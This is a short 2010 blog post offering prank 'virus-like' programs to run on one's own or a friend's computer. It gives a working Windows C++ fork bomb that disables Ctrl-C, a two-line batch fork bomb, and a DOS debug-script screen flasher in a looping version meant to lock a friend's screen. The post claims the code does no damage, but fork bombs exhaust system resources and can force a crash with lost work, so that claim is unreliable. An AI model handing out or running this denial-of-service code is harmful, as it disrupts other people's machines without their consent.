Wednesday, November 24, 2010

COOL BATCH FILES

Here are some cool batch files that run like a virus. Try to run it, it wont damage your computer, just for fun. :D

FORK BOMB:
Fork Bomb codes for C++ (in Code:Blocks):
#include <windows.h>
// example VC++ fork bomb
// signals Windows not to handle Ctrl-C itself,
// effectively making the bomb unstoppable
int main(int argn, char **argv)
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  while (1)
  {
   SetConsoleCtrlHandler(0, 1);
   CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  }
  return 0;
}

Fork Bomb codes on a notepad
:s
start "" %0
goto :s
*SAVE IT AS SOMETHING.bat
change the file type to All Files
(TRY TO RUN IT)Flash Screen
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
(*SAVE IT AS ALL FILES, SAVE AS SOMETHING.bat)
It will flash your computer screen.
PRESS Ctrl + Shift+ Enter TO DISABLE IT
HAVE FUN!!!

No comments:

Post a Comment